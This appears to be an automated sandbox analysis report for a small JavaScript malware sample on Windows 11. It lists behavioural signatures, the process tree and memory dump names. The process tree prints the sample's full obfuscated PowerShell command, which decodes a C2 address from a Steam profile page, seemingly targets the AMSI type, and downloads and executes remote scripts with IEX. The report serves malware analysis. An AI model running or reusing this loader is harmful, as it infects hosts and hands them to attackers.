Analysis
- max time kernel
148s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 23:43
General
- Target jaffacakes118_04190a5f812a737af1ec100af61a165dd3e73f1f3540d5bc011d9269a424e61d.js
- Size 1KB
- Sample260910-3ql81axdpf
- SHA256 04190a5f812a737af1ec100af61a165dd3e73f1f3540d5bc011d9269a424e61d
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\jaffacakes118_04190a5f812a737af1ec100af61a165dd3e73f1f3540d5bc011d9269a424e61d.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$yvf155d=('R'+'ef' -as [Type]).('As'+'se'+'mb'+'ly').GetTypes();$tspn7w36n = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(((((iwr -useb 'https://steamcommunity.com/profiles/76561199857376321').content -split 'g_rgProfileData =')[1] -split '.?summary.?:.?')[1] -split '.?}')[0])); Foreach($r7c7a in $yvf155d) {if ($r7c7a.Name -like '*ams*U?*ls') {$c=$r7c7a}}; $env:paths = '7zF2T2ZKEJRC'; IEX(iwr ($tspn7w36n+'/tweetersUm3.php')); IEX(iwr ($tspn7w36n+'/railheads7tV4.ps1'))"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
memory/4704-0-0x0000000074F32000-0x0000000074F33000-memory.dmp
memory/4704-1-0x0000000002DF0000-0x0000000002E26000-memory.dmp
memory/4704-2-0x0000000074F20000-0x00000000756DC000-memory.dmp
memory/4704-3-0x00000000055C0000-0x0000000005C0A000-memory.dmp
memory/4704-4-0x00000000053B0000-0x00000000053D2000-memory.dmp
memory/4704-5-0x0000000005550000-0x00000000055B6000-memory.dmp
memory/4704-6-0x0000000005C80000-0x0000000005CE6000-memory.dmp
memory/4704-9-0x0000000005D70000-0x00000000060CB000-memory.dmp
memory/4704-10-0x00000000062A0000-0x00000000062BE000-memory.dmp
memory/4704-11-0x00000000062E0000-0x000000000632C000-memory.dmp
memory/4704-12-0x00000000066E0000-0x00000000066FA000-memory.dmp
memory/4704-13-0x00000000078F0000-0x0000000007F6C000-memory.dmp
memory/4704-14-0x00000000087E0000-0x0000000008F86000-memory.dmp
memory/4704-16-0x0000000074F20000-0x00000000756DC000-memory.dmp